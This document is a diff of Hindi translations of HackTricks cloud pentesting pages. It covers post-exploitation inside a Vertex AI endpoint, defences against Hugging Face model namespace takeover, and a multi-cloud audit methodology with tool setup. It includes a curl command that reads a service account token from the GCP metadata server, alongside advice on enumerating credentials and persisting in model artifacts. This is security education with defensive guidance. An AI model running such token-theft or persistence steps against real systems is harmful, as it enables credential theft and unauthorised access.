## Post-Exploitation Tips (Vertex AI Endpoint)
-Once code is running inside the endpoint container, consider:
-- credentials/tokens के लिए environment variables और metadata को enumerate करना
-- संलग्न storage या mounted model artifacts तक पहुँच बनाना
-- service account identity के माध्यम से Google APIs के साथ interaction (Document AI, Storage, Pub/Sub, आदि)
-- यदि प्लेटफ़ॉर्म repo को फिर से pull करता है तो model artifact में persistence
+एक बार code endpoint container के अंदर चलने लगे, तो इन पर विचार करें:
+- environment variables और metadata को enumerate कर के credentials/tokens देखें
+- attached storage या mounted model artifacts तक पहुँच
+- service account identity के माध्यम से Google APIs के साथ इंटरैक्ट करना (Document AI, Storage, Pub/Sub, आदि)
+- अगर platform repo को फिर से pull करता है तो model artifact में persistence
-यदि उपलब्ध हो तो instance metadata को enumerate करें (container पर निर्भर):
+यदि पहुंच योग्य हो तो instance metadata enumerate करें (container dependent):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Vertex AI उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
-- HF loaders में मॉडल्स को commit द्वारा पिन करें ताकि silent replacement रोका जा सके:
+- HF loaders में commit द्वारा मॉडल को पिन करें ताकि बिना सूचना के प्रतिस्थापन रोका जा सके:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="")
```
-- सत्यापित HF मॉडलों को एक भरोसेमंद आंतरिक artifact store/registry में mirror करें और वहीं से deploy करें।
-- कोडबेस और configs को लगातार स्कैन करें ताकि hard-coded Author/ModelName जो हटाए गए/हस्तांतरित हुए हैं, मिल सकें; इन्हें नए namespaces में अपडेट करें या commit द्वारा pin करें।
-- Model Garden में deployment से पहले मॉडल provenance और लेखक के अस्तित्व को verify करें।
+- परीक्षित HF models को एक भरोसेमंद internal artifact store/registry में मिरर करें और वहां से deploy करें।
+- लगातार codebases और configs को स्कैन करें ताकि hard-coded Author/ModelName जो deleted/transferred हैं मिल सके; उन्हें नए namespaces में अपडेट करें या commit द्वारा pin करें।
+- Model Garden में, deployment से पहले मॉडल की provenance और author के मौजूद होने की सत्यापना करें।
-## पहचान ह्यूरिस्टिक्स (HTTP)
+## पहचान हीयूरिस्टिक्स (HTTP)
-- हटाया गया लेखक: लेखक पेज 404; legacy model path 404 रहता है जब तक takeover नहीं होता।
-- हस्तांतरित मॉडल: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद रहता है; यदि बाद में पुराना लेखक हटाया गया और पुनः-पंजीकृत कर दिया गया, तो legacy path हमलावर की सामग्री परोसता है।
+- Deleted author: author page 404; legacy model path 404 until takeover।
+- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content।
```bash
curl -I https://huggingface.co// | egrep "^HTTP|^location"
```
-## क्रॉस-संदर्भ
+## संबंधित संदर्भ
-- विस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
+- विस्तृत कार्यप्रणाली और आपूर्ति-श्रृंखला टिप्पणियाँ देखें:
{{#ref}}
../../pentesting-cloud-methodology.md
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 449b9c723..a510ee773 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -4,41 +4,41 @@
-## मूल कार्यप्रणाली
+## बुनियादी कार्यप्रणाली
-हर क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्य तौर पर कुछ **सामान्य चीज़ें जिन्हें एक pentester को जांचना चाहिए** होती हैं जब एक क्लाउड वातावरण की जाँच की जा रही हो:
+प्रत्येक क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्यतः कुछ **सामान्य बातें हैं जो एक pentester को जांचनी चाहिए** जब क्लाउड पर्यावरण का परीक्षण कर रहा हो:
-- **बेंचमार्क जांच**
-- यह आपको वातावरण का **आकार समझने** और **उपयोग की जा रही सेवाओं** का पता लगाने में मदद करेगा
-- यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** भी खोजने की अनुमति देगा क्योंकि आप इन परीक्षणों में से अधिकांश **स्वचालित टूल्स** के साथ चला सकते हैं
+- **बेंचमार्क चेक्स**
+- यह आपकी मदद करेगा **पर्यावरण के आकार** और **उपयोग की जाने वाली सेवाओं** को समझने में
+- यह आपको कुछ **त्वरित misconfigurations** खोजने में भी मदद करेगा क्योंकि आप इनमें से अधिकांश परीक्षण **automated tools** के साथ कर सकते हैं
- **Services Enumeration**
-- अगर आपने बेंचमार्क परीक्षण सही तरीके से किए हैं तो यहां आपको ज्यादा नए misconfigurations नहीं मिलेंगे, लेकिन आपको कुछ ऐसे मिल सकते हैं जिनकी बेंचमार्क टेस्ट में तलाश नहीं की गई थी।
-- इससे आपको पता चलेगा कि क्लाउड env में **ठीक क्या उपयोग हो रहा है**
-- यह अगले कदमों में बहुत मदद करेगा
-- **प्रकट की गई संपत्तियों की जाँच**
-- यह पिछली खण्ड के दौरान भी किया जा सकता है, आपको यह पता लगाना होगा कि इंटरनेट के प्रति किसी न किसी तरह से **क्या-क्या सम्भवतः एक्सपोज़ है** और उसे कैसे एक्सेस किया जा सकता है।
-- यहाँ मैं **मैन्युअली एक्सपोज़ की गई infrastructure** जैसे वे इंस्टेंस जिन पर वेब पेज या अन्य पोर्ट्स खुले हैं, और साथ ही उन अन्य **क्लाउड managed सेवाओं** के बारे में बात कर रहा हूँ जिन्हें एक्सपोज़ होने के लिए कॉन्फ़िगर किया जा सकता है (जैसे DBs या buckets)
-- फिर आपको चेक करना चाहिए **क्या वह resource एक्सपोज़ हो सकता है या नहीं** (गोपनीय जानकारी? vulnerabilities? एक्सपोज़ सेवा में misconfigurations?)
-- **Permissions की जाँच**
-- यहाँ आपको यह पता लगाना चाहिए कि क्लाउड के अंदर प्रत्येक role/user के **सभी permissions क्या हैं** और वे कैसे उपयोग किए जा रहे हैं
-- बहुत सारे **highly privileged** (सब कुछ नियंत्रित करने वाले) खाते? Generated keys उपयोग में नहीं?... इन अधिकांश चेक्स को पहले बेंचमार्क परीक्षणों में किया जा चुका होना चाहिए
-- यदि क्लाइंट OpenID या SAML या अन्य **federation** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** मांगनी पड़ सकती है कि **प्रत्येक role कैसे असाइन किया जा रहा है** (यह वही नहीं है कि admin role 1 user को असाइन है या 100 को)
-- केवल यह पता लगाना **काफ़ी नहीं है** कि कौन से users के पास **admin** permissions "*:*" हैं। बहुत सारी **अन्य permissions** हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं।
-- इसके अलावा, permissions का दुरुपयोग करके फ़ॉलो करने के लिए **संभावित privesc** रास्ते होते हैं। इन सभी चीज़ों का ध्यान रखना चाहिए और जितने संभव हो उतने **privesc paths** रिपोर्ट किए जाने चाहिए।
-- **इंटीग्रेशन की जाँच**
-- यह बहुत सम्भाव्य है कि क्लाउड env के अंदर **other clouds या SaaS के साथ integrations** उपयोग हो रहे हों।
-- जिन **integrations of the cloud you are auditing** को अन्य प्लेटफॉर्म के साथ जोड़ा गया है, उनके लिए आपको यह सूचित करना चाहिए **किसके पास उस integration का (ab)use करने की पहुँच है** और आपको पूछना चाहिए कि उस कार्य को करना कितना **सेंसिटिव** है।\
-उदाहरण के लिए, कौन AWS bucket में लिख सकता है जहाँ से GCP डेटा ले रहा है (पूछें कि GCP में उस डेटा को प्रोसेस करना कितना संवेदनशील है).
-- जिन **integrations inside the cloud you are auditing** को बाहरी प्लेटफॉर्म से एक्सेस किया जा रहा है, उनके लिए आपको यह पूछना चाहिए **बाहरी रूप से किसके पास उस integration का (ab)use करने की पहुँच है** और जाँच करनी चाहिए कि उस डेटा का उपयोग कैसे किया जा रहा है।\
-उदाहरण के लिए, यदि कोई सेवा GCR में होस्ट की गई Docker image का उपयोग कर रही है, तो आपको पूछना चाहिए कि कौन उसे मॉडिफाई कर सकता है और जब वह image AWS क्लाउड के अंदर executed होगी तो उसे कौन सी संवेदनशील जानकारी और एक्सेस मिलेंगे।
+- यदि आपने बेंचमार्क टेस्ट सही तरीके से किए हैं तो यहाँ शायद ज्यादा misconfigurations नहीं मिलेंगे, पर कुछ ऐसे मिल सकते हैं जिन्हें बेंचमार्क टेस्ट में नहीं देखा गया था।
+- यह आपको बताएगा कि क्लाउड env में **ठीक-ठीक क्या इस्तेमाल हो रहा है**
+- यह अगले चरणों में बहुत मदद करेगा
+- **Check exposed assets**
+- यह पिछले सेक्शन के दौरान भी किया जा सकता है, आपको **हर उस चीज़ का पता लगाना होगा जो किसी न किसी तरह से Internet के लिए सम्भवतः exposed है** और उसे कैसे access किया जा सकता है।
+- यहाँ मैं **मैनुअली एक्सपोज्ड infrastructure** की बात कर रहा हूँ जैसे instances जिनमें web pages या अन्य ports एक्सपोज़ हैं, और साथ ही उन अन्य **cloud managed services** के बारे में जो एक्सपोज़ होने के लिए configure की जा सकती हैं (जैसे DBs या buckets)
+- फिर आपको चेक करना चाहिए **क्या वह resource एक्सपोज़ हो सकता है या नहीं** (गोपनीय जानकारी? vulnerabilities? exposed service में misconfigurations?)
+- **Check permissions**
+- यहाँ आपको **क्लाउड के अंदर हर role/user की सभी permissions** पता करनी चाहिए और वे कैसे उपयोग हो रहे हैं
+- बहुत सारे **highly privileged** (सब कुछ नियंत्रित करने वाले) accounts? Generated keys जो उपयोग नहीं हो रहे?... इनमें से अधिकांश चेक पहले से बेंचमार्क टेस्ट में किए जाने चाहिए थे
+- यदि क्लाइंट OpenID या SAML या कोई अन्य **federation** उपयोग कर रहा है तो आपको उनसे और **जानकारी** माँगनी पड़ सकती है कि **प्रत्येक role कैसे assign किया जा रहा है** (यह एक जैसा नहीं है कि admin role 1 user को assign है या 100 को)
+- यह सिर्फ यह पता लगाने के लिए पर्याप्त नहीं है कि किस user के पास **admin** permissions "\*:\*". हैं। बहुत सारी **अन्य permissions** भी हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं।
+- इसके अलावा, permissions का दुरुपयोग करके अनुसरण करने योग्य **potential privesc** तरीके भी होते हैं। इन सभी चीज़ों को ध्यान में रखा जाना चाहिए और जितना संभव हो उतने privesc paths रिपोर्ट किए जाने चाहिए।
+- **Check Integrations**
+- यह बहुत संभव है कि **अन्य क्लाउड्स या SaaS के साथ integrations** क्लाउड env के अंदर इस्तेमाल हो रहे हों।
+- उस क्लाउड के लिए **जो आप ऑडिट कर रहे हैं** अन्य platform के साथ integrations के लिए आपको यह सूचित करना चाहिए **कि किसके पास उस integration का (ab)use करने का access है** और आपको पूछना चाहिए कि किया जा रहा action कितना **संवेदनशील** है।\
+उदाहरण के लिए, कौन AWS bucket में लिख सकता है जहाँ से GCP data ले रहा है (पूछें कि GCP में उस data का उपचार करते समय action कितना संवेदनशील है)।
+- जिस क्लाउड को आप ऑडिट कर रहे हैं उसके अंदर से external platforms से होने वाले **integrations** के लिए, आपको पूछना चाहिए **बाहरी रूप से किसके पास उस integration का (ab)use करने का access है** और जाँचना चाहिए कि वह data कैसे उपयोग हो रहा है।\
+उदाहरण के लिए, यदि कोई service GCR में host किए गए Docker image का उपयोग कर रही है, तो आपको पूछना चाहिए कि किसके पास उसे modify करने का access है और वह image जब AWS क्लाउड के अंदर execute होगा तो उसे कौन-सी संवेदनशील जानकारी और access मिलेंगे।
-## Multi-Cloud टूल्स
+## Multi-Cloud tools
-कई टूल्स हैं जिनका उपयोग विभिन्न क्लाउड परिवेशों का परीक्षण करने के लिए किया जा सकता है। इनसे संबंधित इंस्टॉलेशन चरण और लिंक इस खंड में दिए जाएंगे।
+ऐसे कई tools हैं जिनका उपयोग विभिन्न क्लाउड environments को टेस्ट करने के लिए किया जा सकता है। इस सेक्शन में installation steps और links बताए जाएंगे।
### [PurplePanda](https://github.com/carlospolop/purplepanda)
-एक टूल जो क्लाउड्स और क्लाउड्स/SaaS के पार **bad configurations और privesc path** की पहचान करने के लिए है।
+A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
-यह **AWS, GCP & Azure** को सपोर्ट करता है। प्रत्येक प्रदाता को कैसे कॉन्फ़िगर करें, देखें: [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+यह **AWS, GCP & Azure** को सपोर्ट करता है। प्रत्येक provider को कॉन्फ़िगर करने का तरीका देखें: [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -170,7 +170,7 @@ steampipe check all
सभी प्रोजेक्ट्स की जाँच करें
-सभी प्रोजेक्ट्स की जाँच करने के लिए आपको `gcp.spc` फाइल जनरेट करनी होगी जिसमें परीक्षण करने के लिए सभी प्रोजेक्ट्स निर्दिष्ट हों। आप बस निम्नलिखित स्क्रिप्ट के निर्देशों का पालन कर सकते हैं।
+सभी प्रोजेक्ट्स की जाँच करने के लिए आपको `gcp.spc` फ़ाइल जनरेट करनी होगी जिसमें उन सभी प्रोजेक्ट्स का उल्लेख हो जिन्हें टेस्ट करना है। आप नीचे दिए गए स्क्रिप्ट के निर्देशों का पालन कर सकते हैं।
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
-अन्य **GCP इनसाइट्स** (useful for enumerating services) देखने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+**अन्य GCP insights** (सेवाओं को enumerate करने के लिए उपयोगी) जाँचने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
-Terraform GCP कोड देखने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Terraform GCP code जाँचने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
-Steampipe के अन्य GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Steampipe के अधिक GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
{{#tab name="AWS" }}
@@ -227,22 +227,22 @@ steampipe check all --export=/tmp/output4.json
```
Terraform AWS code देखने के लिए: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
-Steampipe के अधिक AWS plugins: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Steampipe के और AWS प्लगइन्स: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
AWS, GCP, Azure, DigitalOcean.\
-यह python2.7 की आवश्यकता करता है और अप्रचलित/नीरखित लगता है।
+यह python2.7 की आवश्यकता रखता है और ऐसा लगता है कि इसे मेंटेन नहीं किया जा रहा है।
### Nessus
-Nessus में एक _**Audit Cloud Infrastructure**_ स्कैन है जो निम्नको सपोर्ट करता है: AWS, Azure, Office 365, Rackspace, Salesforce। **Azure** में कुछ अतिरिक्त कॉन्फ़िगरेशन्स चाहिए ताकि **Client Id** प्राप्त किया जा सके।
+Nessus में _**Audit Cloud Infrastructure**_ स्कैन है जो इनका समर्थन करता है: AWS, Azure, Office 365, Rackspace, Salesforce. एक **Client Id** प्राप्त करने के लिए **Azure** में कुछ अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है।
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
-Cloudlist एक **मल्टी-क्लाउड टूल है जो Assets प्राप्त करता है** (Hostnames, IP Addresses) जो Cloud Providers से होता है।
+Cloudlist Cloud Providers से Assets (Hostnames, IP Addresses) प्राप्त करने के लिए एक **multi-cloud tool for getting Assets** है।
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config
### [**cartography**](https://github.com/lyft/cartography)
-Cartography एक Python टूल है जो इन्फ्रास्ट्रक्चर संपत्तियों और उनके आपसी संबंधों को Neo4j डेटाबेस द्वारा संचालित एक सहज ग्राफ दृश्य में समेकित करता है।
+Cartography एक Python टूल है जो इन्फ्रास्ट्रक्चर संसाधनों और उनके आपसी रिश्तों को Neo4j डेटाबेस द्वारा संचालित एक सहज ग्राफ़ दृश्य में समाहित करता है।
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
-Starbase सेवाओं और सिस्टमों से एसेट्स और रिश्ते इकट्ठा करता है, जिनमें क्लाउड बुनियादी ढाँचा, SaaS applications, security controls और अन्य शामिल हैं, और इन्हें Neo4j database द्वारा समर्थित एक सहज ग्राफ़ दृश्य में प्रस्तुत करता है।
+Starbase सेवाओं और प्रणालियों — जिनमें क्लाउड इन्फ्रास्ट्रक्चर, SaaS applications, सुरक्षा नियंत्रण और अन्य शामिल हैं — से संपत्तियाँ और संबंध इकट्ठा करता है और उन्हें Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में प्रस्तुत करता है।
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
-स्कैन किए गए AWS या Azure environment में सबसे अधिक privileged users की खोज करें, जिसमें AWS Shadow Admins भी शामिल हैं। यह powershell का उपयोग करता है।
+स्कैन किए गए AWS या Azure environment में सबसे अधिक privileged users का पता लगाएं, जिनमें AWS Shadow Admins भी शामिल हैं। यह powershell का उपयोग करता है।
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,13 +372,13 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
-एक टूल जो किसी कंपनी (target) के infrastructure, files और apps को शीर्ष क्लाउड प्रदाताओं (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर खोजने के लिए है।
+एक टूल जो top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर किसी company (target) की infrastructure, files और apps खोजने के लिए है।
### [CloudFox](https://github.com/BishopFox/cloudfox)
-- CloudFox एक टूल है जो क्लाउड infrastructure में exploitable attack paths खोजने के लिए है (वर्तमान में केवल AWS & Azure समर्थित हैं, GCP जल्द आ रहा है)।
-- यह एक enumeration tool है जिसे manual pentesting की पूरकता के लिए बनाया गया है।
-- यह क्लाउड environment के भीतर कोई भी data बनाता या संशोधित नहीं करता।
+- CloudFox cloud infrastructure में exploitable attack paths खोजने के लिए एक टूल है (वर्तमान में केवल AWS & Azure समर्थित हैं, GCP जल्द जोड़ा जाएगा)।
+- यह एक enumeration टूल है जो manual pentesting की पूरकता के लिए बनाया गया है।
+- यह cloud environment के भीतर किसी भी डेटा को create या modify नहीं करता।
### More lists of cloud security tools
@@ -412,11 +412,10 @@ azure-security/
### Attack Graph
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure subscription में resources का “attack graph” बनाता है। यह red teams और pentesters को एक tenant के भीतर attack surface और pivot opportunities को visualize करने में सक्षम बनाता है, और आपके defenders को incident response के काम को तेजी से व्यवस्थित और प्राथमिकता देने में अतिरिक्त गति देता/देती है।
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure subscription में resources का “attack graph” बनाता है। यह red teams और pentesters को tenant के भीतर attack surface और pivot अवसरों को दृश्य रूप से देखने में सक्षम बनाता है, और आपके defenders को incident response कार्यों को तेजी से व्यवस्थित और प्राथमिकता देने में बहुत मदद करता है।
### Office365
-आपको **Global Admin** या कम से कम **Global Admin Reader** की आवश्यकता होती है (हालाँकि ध्यान दें कि Global Admin Reader थोड़ी सीमित है)। हालांकि, ये सीमाएँ कुछ PS modules में दिखाई देती हैं और इन्हें **वेब एप्लिकेशन के माध्यम से** फीचर्स तक पहुँच कर बायपास किया जा सकता है।
-
+आपको **Global Admin** या कम से कम **Global Admin Reader** की आवश्यकता है (ध्यान दें कि Global Admin Reader कुछ हद तक सीमित है)। हालाँकि, ये सीमाएँ कुछ PS modules में दिखाई देती हैं और इन्हें features को **via the web application** के माध्यम से एक्सेस करके बायपास किया जा सकता है।
{{#include ../banners/hacktricks-training.md}}
.png)
.png)
.png)
